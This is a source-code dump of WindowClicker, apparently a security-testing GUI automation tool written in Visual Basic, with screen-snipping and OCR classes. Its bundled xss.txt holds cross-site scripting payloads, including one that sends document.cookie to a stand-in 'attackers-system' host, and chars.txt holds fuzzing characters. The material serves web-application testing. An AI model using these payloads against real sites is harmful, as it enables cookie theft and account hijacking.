10 |
11 | Option Strict On
12 | Option Explicit On
13 |
14 |
15 | Namespace My
16 |
17 | _
20 | Partial Friend NotInheritable Class MySettings
21 | Inherits Global.System.Configuration.ApplicationSettingsBase
22 |
23 | Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
24 |
25 | #Region "My.Settings Auto-Save Functionality"
26 | #If _MyType = "WindowsForms" Then
27 | Private Shared addedHandler As Boolean
28 |
29 | Private Shared addedHandlerLockObject As New Object
30 |
31 | _
32 | Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
33 | If My.Application.SaveMySettingsOnExit Then
34 | My.Settings.Save()
35 | End If
36 | End Sub
37 | #End If
38 | #End Region
39 |
40 | Public Shared ReadOnly Property [Default]() As MySettings
41 | Get
42 |
43 | #If _MyType = "WindowsForms" Then
44 | If Not addedHandler Then
45 | SyncLock addedHandlerLockObject
46 | If Not addedHandler Then
47 | AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
48 | addedHandler = True
49 | End If
50 | End SyncLock
51 | End If
52 | #End If
53 | Return defaultInstance
54 | End Get
55 | End Property
56 | End Class
57 | End Namespace
58 |
59 | Namespace My
60 |
61 | _
64 | Friend Module MySettingsProperty
65 |
66 | _
67 | Friend ReadOnly Property Settings() As Global.WindowClicker.My.MySettings
68 | Get
69 | Return Global.WindowClicker.My.MySettings.Default
70 | End Get
71 | End Property
72 | End Module
73 | End Namespace
74 |
--------------------------------------------------------------------------------
/WindowLicker/My Project/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/WindowLicker/My Project/app.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
47 |
48 |
49 |
--------------------------------------------------------------------------------
/WindowLicker/NewWindow.vb:
--------------------------------------------------------------------------------
1 | ' Copyright (C) 2014 Nick Dunn
2 | '
3 | ' This program is free software: you can redistribute it and/or modify
4 | ' it under the terms of the GNU General Public License as published by
5 | ' the Free Software Foundation, either version 3 of the License, or
6 | ' (at your option) any later version.
7 | '
8 | ' This program is distributed in the hope that it will be useful,
9 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of
10 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11 | ' GNU General Public License for more details.
12 | '
13 | ' You should have received a copy of the GNU General Public License
14 | ' along with this program. If not, see .
15 |
16 | Option Explicit On
17 |
18 | Public Class NewWindow
19 | ' Details used to monitor for any new windows which appear
20 | '=========================================================
21 |
22 | Public WindowTitle As String = ""
23 | Public IsCaseSensitive As Boolean = False
24 | Public IsFullTitle As Boolean = True
25 |
26 | Sub New(ByVal NewTitle As String, ByVal MatchFullTitle As Boolean)
27 | WindowTitle = NewTitle
28 | IsCaseSensitive = False ' No way to check case-sensitively in current API
29 | IsFullTitle = MatchFullTitle
30 | End Sub
31 |
32 | End Class
33 |
--------------------------------------------------------------------------------
/WindowLicker/ScreenReader.vb:
--------------------------------------------------------------------------------
1 | ' Copyright (C) 2014 Nick Dunn
2 | '
3 | ' This program is free software: you can redistribute it and/or modify
4 | ' it under the terms of the GNU General Public License as published by
5 | ' the Free Software Foundation, either version 3 of the License, or
6 | ' (at your option) any later version.
7 | '
8 | ' This program is distributed in the hope that it will be useful,
9 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of
10 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11 | ' GNU General Public License for more details.
12 | '
13 | ' You should have received a copy of the GNU General Public License
14 | ' along with this program. If not, see .
15 |
16 | Option Explicit On
17 |
18 | Imports System.IO
19 | Imports System.Threading
20 | Imports System.Collections.Specialized
21 |
22 | Public Class ScreenReader
23 | ' Used to implement screen reading facilities to monitor user-specified text changes
24 | '===================================================================================
25 |
26 |
27 |
28 | End Class
29 |
--------------------------------------------------------------------------------
/WindowLicker/Snipper.vb:
--------------------------------------------------------------------------------
1 | ' WindowClicker - GUI Automater
2 | ' Copyright (C) 2014 Nick Dunn
3 | '
4 | ' This program is free software: you can redistribute it and/or modify
5 | ' it under the terms of the GNU General Public License as published by
6 | ' the Free Software Foundation, either version 3 of the License, or
7 | ' (at your option) any later version.
8 | '
9 | ' This program is distributed in the hope that it will be useful,
10 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | ' GNU General Public License for more details.
13 | '
14 | ' You should have received a copy of the GNU General Public License
15 | ' along with this program. If not, see .
16 |
17 | Option Explicit On
18 |
19 | Imports System.Drawing
20 | Imports System.Drawing.Drawing2D
21 | Imports System.Windows.Forms
22 |
23 |
24 | Public Class Snipper
25 | ' The class inherits from form in order to track mouse pointer and display selected area.
26 | ' It exists as a maximized invisible form which tracks the mouse position and displays the
27 | ' selected area back to the user.
28 | '=========================================================================================
29 |
30 | Inherits Form
31 |
32 | Private imgSnipImage As Image
33 | Private rctSelectedArea As New Rectangle()
34 | Private pntStart As Point
35 |
36 |
37 | Public Sub New(ScreenShot As Image)
38 | ' Initialise object with default values
39 | ' Snipper will display an invisible window covering entire screen area
40 | ' Co-ords of selected area will be obtained when user moves mouse
41 | ' across this invisible window
42 | '======================================
43 |
44 | Me.BackgroundImage = ScreenShot
45 | Me.ShowInTaskbar = False
46 | Me.FormBorderStyle = FormBorderStyle.None
47 | Me.WindowState = FormWindowState.Maximized
48 | Me.DoubleBuffered = True
49 |
50 | End Sub
51 |
52 | Public Sub CopyWithoutUser()
53 | ' Copy a text area without user interaction
54 | '==========================================
55 |
56 | If rctSelectedArea.Width <= 0 OrElse rctSelectedArea.Height <= 0 Then Return
57 |
58 | Image = New Bitmap(rctSelectedArea.Width, rctSelectedArea.Height)
59 |
60 | Using grGraphics As Graphics = Graphics.FromImage(Image)
61 | grGraphics.DrawImage(Me.BackgroundImage, New Rectangle(0, 0, Image.Width, Image.Height), rctSelectedArea, GraphicsUnit.Pixel)
62 | End Using
63 |
64 | DialogResult = DialogResult.OK
65 |
66 | End Sub
67 |
68 | Public Shared Function Snip() As TextArea 'Image
69 | ' Obtain the screen area highlighted by the user as an image
70 | '===========================================================
71 | Dim rctScreenRect = Screen.PrimaryScreen.Bounds
72 | Dim imgRetVal As Image = Nothing
73 | Dim taRetVal As TextArea = Nothing
74 |
75 |
76 | '== Get screen area as bitmap ==
77 | Using bmpScreenArea As New Bitmap(rctScreenRect.Width, rctScreenRect.Height, System.Drawing.Imaging.PixelFormat.Format32bppPArgb)
78 |
79 | '== Copy screen area ==
80 | Using grGraphics As Graphics = Graphics.FromImage(bmpScreenArea)
81 | grGraphics.CopyFromScreen(0, 0, 0, 0, bmpScreenArea.Size)
82 | End Using
83 |
84 | '== Set copied area to image, depending on user action (ie. user did not press escape) ==
85 | Using snpSnipper = New Snipper(bmpScreenArea)
86 | If snpSnipper.ShowDialog() = DialogResult.OK Then imgRetVal = snpSnipper.Image
87 | taRetVal = New TextArea(0, snpSnipper.rctSelectedArea, imgRetVal)
88 | End Using
89 | End Using
90 |
91 | Return taRetVal
92 | 'Return imgRetVal
93 |
94 | End Function
95 |
96 | Public Property Image() As Image
97 | ' Property to hold screenshot as image
98 | '=====================================
99 |
100 | Get
101 | Return imgSnipImage
102 | End Get
103 |
104 | Set(NewImage As Image)
105 | imgSnipImage = NewImage
106 | End Set
107 |
108 | End Property
109 |
110 | Public Property SelectedArea() As Rectangle
111 | ' Property to hold screen area which holds image
112 | '===============================================
113 |
114 | Get
115 | Return rctSelectedArea
116 | End Get
117 |
118 | Set(NewSelectedArea As Rectangle)
119 | rctSelectedArea = NewSelectedArea
120 | End Set
121 |
122 | End property
123 |
124 | Protected Overrides Sub OnMouseDown(e As MouseEventArgs)
125 | ' Start snip on mouse-down event
126 | '===============================
127 |
128 | '== Exit if mouse button is not down ==
129 | If e.Button <> MouseButtons.Left Then Return
130 |
131 | pntStart = e.Location
132 | rctSelectedArea = New Rectangle(e.Location, New Size(0, 0))
133 | Me.Invalidate()
134 |
135 | End Sub
136 |
137 | Protected Overrides Sub OnMouseMove(e As MouseEventArgs)
138 | ' Modify selection on mouse-move event
139 | '=====================================
140 | Dim intXLeft As Integer
141 | Dim intYTop As Integer
142 | Dim intXRight As Integer
143 | Dim intYBottom As Integer
144 |
145 |
146 | '== Exit if mouse button is not down ==
147 | If e.Button <> MouseButtons.Left Then Return
148 |
149 | '== Set selected area according to mouse position ==
150 | intXLeft = Math.Min(e.X, pntStart.X)
151 | intXRight = Math.Max(e.X, pntStart.X)
152 | intYTop = Math.Min(e.Y, pntStart.Y)
153 | intYBottom = Math.Max(e.Y, pntStart.Y)
154 |
155 | rctSelectedArea = New Rectangle(intXLeft, intYTop, intXRight - intXLeft, intYBottom - intYTop)
156 |
157 | Me.Invalidate()
158 |
159 | End Sub
160 |
161 | Protected Overrides Sub OnMouseUp(e As MouseEventArgs)
162 | ' Complete snipping on mouse-up event
163 | '====================================
164 |
165 | CopyWithoutUser()
166 |
167 | End Sub
168 |
169 | Protected Overrides Sub OnPaint(e As PaintEventArgs)
170 | ' Draw current selection
171 | '=======================
172 | Dim intXLeft As Integer
173 | Dim intXRight As Integer
174 | Dim intYTop As Integer
175 | Dim intYBottom As Integer
176 |
177 |
178 | '== Set co-ordinates ==
179 | intXLeft = rctSelectedArea.X
180 | intXRight = rctSelectedArea.X + rctSelectedArea.Width
181 | intYTop = rctSelectedArea.Y
182 | intYBottom = rctSelectedArea.Y + rctSelectedArea.Height
183 |
184 | '== Highlight selected area ==
185 | Using brBrush As Brush = New SolidBrush(Color.FromArgb(120, Color.White))
186 | e.Graphics.FillRectangle(brBrush, New Rectangle(0, 0, intXLeft, Me.Height))
187 | e.Graphics.FillRectangle(brBrush, New Rectangle(intXRight, 0, Me.Width - intXRight, Me.Height))
188 | e.Graphics.FillRectangle(brBrush, New Rectangle(intXLeft, 0, intXRight - intXLeft, intYTop))
189 | e.Graphics.FillRectangle(brBrush, New Rectangle(intXLeft, intYBottom, intXRight - intXLeft, Me.Height - intYBottom))
190 | End Using
191 |
192 | '== Draw outline ==
193 | Using penRectangle As New Pen(Color.Red, 3)
194 | e.Graphics.DrawRectangle(penRectangle, rctSelectedArea)
195 | End Using
196 |
197 | End Sub
198 |
199 | Protected Overrides Function ProcessCmdKey(ByRef msg As Message, keyData As Keys) As Boolean
200 | ' Allow user to cancel snip with Escape key
201 | '==========================================
202 |
203 | If keyData = Keys.Escape Then Me.DialogResult = DialogResult.Cancel
204 | Return MyBase.ProcessCmdKey(msg, keyData)
205 |
206 | End Function
207 |
208 | End Class
209 |
--------------------------------------------------------------------------------
/WindowLicker/TextArea.vb:
--------------------------------------------------------------------------------
1 | ' WindowClicker - GUI Automater
2 | ' Copyright (C) 2014 Nick Dunn
3 | '
4 | ' This program is free software: you can redistribute it and/or modify
5 | ' it under the terms of the GNU General Public License as published by
6 | ' the Free Software Foundation, either version 3 of the License, or
7 | ' (at your option) any later version.
8 | '
9 | ' This program is distributed in the hope that it will be useful,
10 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | ' GNU General Public License for more details.
13 | '
14 | ' You should have received a copy of the GNU General Public License
15 | ' along with this program. If not, see .
16 |
17 | Option Explicit On
18 |
19 | Public Class TextArea
20 |
21 | Public ID As Integer = 0 ' This will uniquely identify each text image/area
22 | Public ScreenArea As Rectangle ' Screen area which holds text
23 | Public SelectedImage As Image ' Image of screen area holding the text
24 | Public ClippedText As String = "" ' Text identified by OCR component
25 | Public ImageFile As String = "" ' Filename associated with image/area
26 |
27 | Public Sub New(IDNum As Integer, SelectedArea As Rectangle, CurrentImage As Image, Optional TextContent As String = "", Optional Filename As String = "")
28 |
29 | ID = IDNum
30 | ScreenArea = SelectedArea
31 | SelectedImage = CurrentImage
32 | ClippedText = TextContent
33 | ImageFile = Filename
34 |
35 | End Sub
36 |
37 | End Class
38 |
--------------------------------------------------------------------------------
/WindowLicker/TextReader.vb:
--------------------------------------------------------------------------------
1 | ' WindowClicker - GUI Automater
2 | ' Copyright (C) 2014 Nick Dunn
3 | '
4 | ' This program is free software: you can redistribute it and/or modify
5 | ' it under the terms of the GNU General Public License as published by
6 | ' the Free Software Foundation, either version 3 of the License, or
7 | ' (at your option) any later version.
8 | '
9 | ' This program is distributed in the hope that it will be useful,
10 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | ' GNU General Public License for more details.
13 | '
14 | ' You should have received a copy of the GNU General Public License
15 | ' along with this program. If not, see .
16 |
17 | Option Explicit On
18 |
19 | Imports System.IO
20 | Imports System.Threading
21 | Imports System.Collections.Specialized
22 |
23 |
24 | Public Class TextReader
25 |
26 | Public ImageDirectory As String = ""
27 | Public TesseractLocation As String = ""
28 | Public TesseractArgs As String = "-l eng"
29 |
30 | Public ImageCount As Integer = 0
31 |
32 | Public Compare As Boolean = False
33 |
34 | Public OriginalTextSnips As New Dictionary(Of String, String)
35 | Public ChangedTextSnips As New Dictionary(Of String, String)
36 |
37 | Private dicProcessList As New Dictionary(Of String, String)
38 | Private procOCR As Process = New Process()
39 |
40 |
41 | Public Sub New(Optional ByVal ImagesLocation As String = "", Optional ByVal OCRReader As String = "C:\tesseract\tesseract.exe", Optional ByVal OCRArgs As String = "-l eng")
42 | ' Instantiate object and provide locations for Tesseract exe and image files
43 | '===========================================================================
44 |
45 | '== If no images location provided then use temp folder ==
46 | If ImagesLocation.Trim = "" Then ImagesLocation = Path.GetTempPath & "\WCScans"
47 |
48 | '== Set file and directory details ==
49 | ImageDirectory = ImagesLocation.TrimEnd("\")
50 | TesseractLocation = OCRReader
51 | TesseractArgs = OCRArgs
52 |
53 | procOCR.StartInfo.FileName = TesseractLocation
54 |
55 | '== Reset image count ==
56 | ImageCount = 0
57 |
58 | End Sub
59 |
60 | Public Sub ReadImageText()
61 | ' Pass each image to Tesseract and write extracted text to file
62 | '==============================================================
63 | Dim intIndex As Integer = 1
64 | Dim strImageFile As String = ""
65 |
66 |
67 | If ImageCount = 0 Then Exit Sub
68 |
69 | dicProcessList.Clear()
70 |
71 | Try
72 | '== Process file for each screenshot ==
73 | Do While intIndex <= ImageCount
74 |
75 | ' Set filename for correct image
76 | strImageFile = ImageDirectory & "\screenshot" & CStr(intIndex) & ".tif"
77 |
78 | ' Create arguments for Tesseract process
79 | procOCR.StartInfo.Arguments = strImageFile & " " & strImageFile & " " & TesseractArgs
80 | procOCR.StartInfo.WindowStyle = ProcessWindowStyle.Hidden
81 | procOCR.StartInfo.CreateNoWindow = True
82 | procOCR.EnableRaisingEvents = True
83 |
84 | ' Send image to Tesseract
85 | AddHandler procOCR.Exited, AddressOf Me.ProcessExited
86 | procOCR.Start()
87 | dicProcessList.Add(procOCR.Id.ToString, strImageFile & ".txt")
88 |
89 | Do While Not procOCR.HasExited
90 | Application.DoEvents()
91 | Loop
92 | intIndex += 1
93 | Loop
94 | Catch ex As Exception
95 | MsgBox("OCR application error: " & ex.Message, MsgBoxStyle.Exclamation, "Error")
96 | End Try
97 |
98 | End Sub
99 |
100 | Friend Sub ProcessExited(ByVal sender As Object, ByVal e As System.EventArgs)
101 | ' Handle exit from process and return value from processed image
102 | '===============================================================
103 | Dim srInputFile As StreamReader
104 | Dim strTextEntry As String = ""
105 |
106 |
107 | '== Iterate through current Tesseract processes and store or compare results ==
108 | For Each deProcess In dicProcessList
109 |
110 | '== Valid process ==
111 | If (sender.id.ToString = deProcess.Key) Then
112 |
113 | '== Extract content ==
114 | srInputFile = File.OpenText(deProcess.Value)
115 | strTextEntry = srInputFile.ReadToEnd()
116 |
117 | '== Process value as appropriate ==
118 | If Not Compare Then
119 | '== First run so add to list of values ==
120 | If OriginalTextSnips.ContainsValue(deProcess.Value) Then
121 | OriginalTextSnips.Item(deProcess.Value) = strTextEntry
122 | Else
123 | OriginalTextSnips.Add(deProcess.Value, strTextEntry)
124 | End If
125 | Else
126 | '== Subsequent run so compare new value to old value ==
127 | If strTextEntry <> OriginalTextSnips.Item(deProcess.Value) Then
128 | If ChangedTextSnips.ContainsValue(deProcess.Value) Then
129 | ChangedTextSnips.Item(deProcess.Value) = strTextEntry
130 | Else
131 | ChangedTextSnips.Add(deProcess.Value, strTextEntry)
132 | End If
133 | End If
134 | End If
135 | End If
136 | Next
137 |
138 | End Sub
139 |
140 | End Class
141 |
--------------------------------------------------------------------------------
/WindowLicker/WindowClicker.vbproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Debug
5 | x86
6 |
7 |
8 | 2.0
9 | {31A1F597-8704-4A10-A5F3-96FC55EE6D33}
10 | WinExe
11 | WindowClicker.My.MyApplication
12 | WindowClicker
13 | WindowClicker
14 | 512
15 | WindowsForms
16 | v4.0
17 | Client
18 |
19 |
20 | x86
21 | true
22 | full
23 | true
24 | true
25 | bin\Debug\
26 | WindowClicker.xml
27 | 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022
28 | false
29 |
30 |
31 | x86
32 | pdbonly
33 | false
34 | true
35 | true
36 | bin\Release\
37 | WindowClicker.xml
38 | 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022
39 | false
40 |
41 |
42 | On
43 |
44 |
45 | Binary
46 |
47 |
48 | Off
49 |
50 |
51 | On
52 |
53 |
54 | My Project\app.manifest
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 | frmAbout.vb
84 |
85 |
86 | Form
87 |
88 |
89 | frmAddWindow.vb
90 |
91 |
92 | Form
93 |
94 |
95 | frmCurrentWindows.vb
96 |
97 |
98 | Form
99 |
100 |
101 | frmLoopEvent.vb
102 |
103 |
104 | Form
105 |
106 |
107 | frmMain.vb
108 |
109 |
110 | Form
111 |
112 |
113 | frmNewWindows.vb
114 |
115 |
116 | Form
117 |
118 |
119 | frmOptions.vb
120 |
121 |
122 | Form
123 |
124 |
125 | frmProperties.vb
126 |
127 |
128 | Form
129 |
130 |
131 | frmReminder.vb
132 |
133 |
134 | Form
135 |
136 |
137 | frmTextFields.vb
138 |
139 |
140 | Form
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 | True
152 | Application.myapp
153 |
154 |
155 | True
156 | True
157 | Resources.resx
158 |
159 |
160 | True
161 | Settings.settings
162 | True
163 |
164 |
165 |
166 |
167 | Form
168 |
169 |
170 |
171 |
172 |
173 |
174 | frmAbout.vb
175 |
176 |
177 | frmAddWindow.vb
178 |
179 |
180 | frmCurrentWindows.vb
181 |
182 |
183 | frmLoopEvent.vb
184 |
185 |
186 | frmMain.vb
187 |
188 |
189 | frmNewWindows.vb
190 |
191 |
192 | frmOptions.vb
193 |
194 |
195 | frmProperties.vb
196 |
197 |
198 | frmReminder.vb
199 |
200 |
201 | frmTextFields.vb
202 |
203 |
204 | VbMyResourcesResXFileCodeGenerator
205 | Resources.Designer.vb
206 | My.Resources
207 | Designer
208 |
209 |
210 |
211 |
212 |
213 | MyApplicationCodeGenerator
214 | Application.Designer.vb
215 |
216 |
217 | SettingsSingleFileGenerator
218 | My
219 | Settings.Designer.vb
220 |
221 |
222 |
223 |
230 |
--------------------------------------------------------------------------------
/WindowLicker/WindowClicker.vbproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | ProjectFiles
5 |
6 |
--------------------------------------------------------------------------------
/WindowLicker/bin/Debug/WindowClicker.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/bin/Debug/WindowClicker.exe
--------------------------------------------------------------------------------
/WindowLicker/bin/Debug/WindowClicker.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/bin/Debug/WindowClicker.pdb
--------------------------------------------------------------------------------
/WindowLicker/bin/Debug/WindowClicker.vshost.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/bin/Debug/WindowClicker.vshost.exe
--------------------------------------------------------------------------------
/WindowLicker/bin/Debug/WindowClicker.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | WindowClicker
6 |
7 |
8 |
9 |
10 |
11 | Returns the cached ResourceManager instance used by this class.
12 |
13 |
14 |
15 | Overrides the current thread's CurrentUICulture property for all
16 | resource lookups using this strongly typed resource class.
17 |
18 |
19 |
20 | A strongly-typed resource class, for looking up localized strings, etc.
21 |
22 |
23 |
24 |
--------------------------------------------------------------------------------
/WindowLicker/bin/Debug/WindowLicker.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/bin/Debug/WindowLicker.exe
--------------------------------------------------------------------------------
/WindowLicker/bin/Debug/WindowLicker.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/bin/Debug/WindowLicker.pdb
--------------------------------------------------------------------------------
/WindowLicker/bin/Debug/WindowLicker.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | WindowLicker
6 |
7 |
8 |
9 |
10 |
11 | Returns the cached ResourceManager instance used by this class.
12 |
13 |
14 |
15 | Overrides the current thread's CurrentUICulture property for all
16 | resource lookups using this strongly typed resource class.
17 |
18 |
19 |
20 | A strongly-typed resource class, for looking up localized strings, etc.
21 |
22 |
23 |
24 |
--------------------------------------------------------------------------------
/WindowLicker/bin/Release/WindowClicker.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/bin/Release/WindowClicker.exe
--------------------------------------------------------------------------------
/WindowLicker/bin/Release/WindowClicker.exe - Shortcut.lnk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/bin/Release/WindowClicker.exe - Shortcut.lnk
--------------------------------------------------------------------------------
/WindowLicker/bin/Release/WindowClicker.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/bin/Release/WindowClicker.pdb
--------------------------------------------------------------------------------
/WindowLicker/bin/Release/WindowClicker.vshost.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/bin/Release/WindowClicker.vshost.exe
--------------------------------------------------------------------------------
/WindowLicker/bin/Release/WindowClicker.vshost.exe.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
47 |
48 |
49 |
--------------------------------------------------------------------------------
/WindowLicker/bin/Release/WindowClicker.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | WindowClicker
6 |
7 |
8 |
9 |
10 |
11 | Returns the cached ResourceManager instance used by this class.
12 |
13 |
14 |
15 | Overrides the current thread's CurrentUICulture property for all
16 | resource lookups using this strongly typed resource class.
17 |
18 |
19 |
20 | A strongly-typed resource class, for looking up localized strings, etc.
21 |
22 |
23 |
24 |
--------------------------------------------------------------------------------
/WindowLicker/bin/Release/chars.txt:
--------------------------------------------------------------------------------
1 | %
2 | %00
3 | !
4 | "
5 | '
6 | *
7 | &
8 | #
9 | ?
10 | <
11 | >
12 |
--------------------------------------------------------------------------------
/WindowLicker/bin/Release/xss.txt:
--------------------------------------------------------------------------------
1 |
2 | ">
3 |
4 | ipt>alert(document.cookie);ipt>
5 |
6 | %3CSCRIPT%3Ealert(document.cookie);%3C%2FSCRIPT%3E
7 | %3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E
8 |
9 | ';alert(String.fromCharCode(88,83,83))//'
10 | >">'>
11 | ">
12 | >
13 | <~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
14 |
15 | click me
16 | ' onload='alert(1)
17 | " onload="alert(1)
18 |
19 |
20 | xxs link
21 | <\IMG\SRC=javascript:alert('XSS')>
22 | =
23 | =%3Cscript%3Ewindow.location="http://attackers-system/creds-collect?token="%2bdocument.cookie%3C/script%3E
24 |
25 | New+content
--------------------------------------------------------------------------------
/WindowLicker/frmAbout.Designer.vb:
--------------------------------------------------------------------------------
1 | _
2 | Partial Class frmAbout
3 | Inherits System.Windows.Forms.Form
4 |
5 | 'Form overrides dispose to clean up the component list.
6 | _
7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean)
8 | Try
9 | If disposing AndAlso components IsNot Nothing Then
10 | components.Dispose()
11 | End If
12 | Finally
13 | MyBase.Dispose(disposing)
14 | End Try
15 | End Sub
16 |
17 | Friend WithEvents TableLayoutPanel As System.Windows.Forms.TableLayoutPanel
18 | Friend WithEvents LogoPictureBox As System.Windows.Forms.PictureBox
19 | Friend WithEvents LabelProductName As System.Windows.Forms.Label
20 | Friend WithEvents LabelVersion As System.Windows.Forms.Label
21 | Friend WithEvents LabelCompanyName As System.Windows.Forms.Label
22 | Friend WithEvents TextBoxDescription As System.Windows.Forms.TextBox
23 | Friend WithEvents OKButton As System.Windows.Forms.Button
24 | Friend WithEvents LabelCopyright As System.Windows.Forms.Label
25 |
26 | 'Required by the Windows Form Designer
27 | Private components As System.ComponentModel.IContainer
28 |
29 | 'NOTE: The following procedure is required by the Windows Form Designer
30 | 'It can be modified using the Windows Form Designer.
31 | 'Do not modify it using the code editor.
32 | _
33 | Private Sub InitializeComponent()
34 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(frmAbout))
35 | Me.TableLayoutPanel = New System.Windows.Forms.TableLayoutPanel()
36 | Me.LogoPictureBox = New System.Windows.Forms.PictureBox()
37 | Me.LabelProductName = New System.Windows.Forms.Label()
38 | Me.LabelVersion = New System.Windows.Forms.Label()
39 | Me.LabelCopyright = New System.Windows.Forms.Label()
40 | Me.LabelCompanyName = New System.Windows.Forms.Label()
41 | Me.TextBoxDescription = New System.Windows.Forms.TextBox()
42 | Me.OKButton = New System.Windows.Forms.Button()
43 | Me.TableLayoutPanel.SuspendLayout()
44 | CType(Me.LogoPictureBox, System.ComponentModel.ISupportInitialize).BeginInit()
45 | Me.SuspendLayout()
46 | '
47 | 'TableLayoutPanel
48 | '
49 | Me.TableLayoutPanel.ColumnCount = 2
50 | Me.TableLayoutPanel.ColumnStyles.Add(New System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 33.0!))
51 | Me.TableLayoutPanel.ColumnStyles.Add(New System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 67.0!))
52 | Me.TableLayoutPanel.Controls.Add(Me.LogoPictureBox, 0, 0)
53 | Me.TableLayoutPanel.Controls.Add(Me.LabelProductName, 1, 0)
54 | Me.TableLayoutPanel.Controls.Add(Me.LabelVersion, 1, 1)
55 | Me.TableLayoutPanel.Controls.Add(Me.LabelCopyright, 1, 2)
56 | Me.TableLayoutPanel.Controls.Add(Me.LabelCompanyName, 1, 3)
57 | Me.TableLayoutPanel.Controls.Add(Me.TextBoxDescription, 1, 4)
58 | Me.TableLayoutPanel.Controls.Add(Me.OKButton, 1, 5)
59 | Me.TableLayoutPanel.Dock = System.Windows.Forms.DockStyle.Fill
60 | Me.TableLayoutPanel.Location = New System.Drawing.Point(9, 9)
61 | Me.TableLayoutPanel.Name = "TableLayoutPanel"
62 | Me.TableLayoutPanel.RowCount = 6
63 | Me.TableLayoutPanel.RowStyles.Add(New System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10.0!))
64 | Me.TableLayoutPanel.RowStyles.Add(New System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10.0!))
65 | Me.TableLayoutPanel.RowStyles.Add(New System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10.0!))
66 | Me.TableLayoutPanel.RowStyles.Add(New System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10.0!))
67 | Me.TableLayoutPanel.RowStyles.Add(New System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50.0!))
68 | Me.TableLayoutPanel.RowStyles.Add(New System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10.0!))
69 | Me.TableLayoutPanel.Size = New System.Drawing.Size(396, 258)
70 | Me.TableLayoutPanel.TabIndex = 0
71 | '
72 | 'LogoPictureBox
73 | '
74 | Me.LogoPictureBox.Dock = System.Windows.Forms.DockStyle.Fill
75 | Me.LogoPictureBox.Image = CType(resources.GetObject("LogoPictureBox.Image"), System.Drawing.Image)
76 | Me.LogoPictureBox.Location = New System.Drawing.Point(3, 3)
77 | Me.LogoPictureBox.Name = "LogoPictureBox"
78 | Me.TableLayoutPanel.SetRowSpan(Me.LogoPictureBox, 6)
79 | Me.LogoPictureBox.Size = New System.Drawing.Size(124, 252)
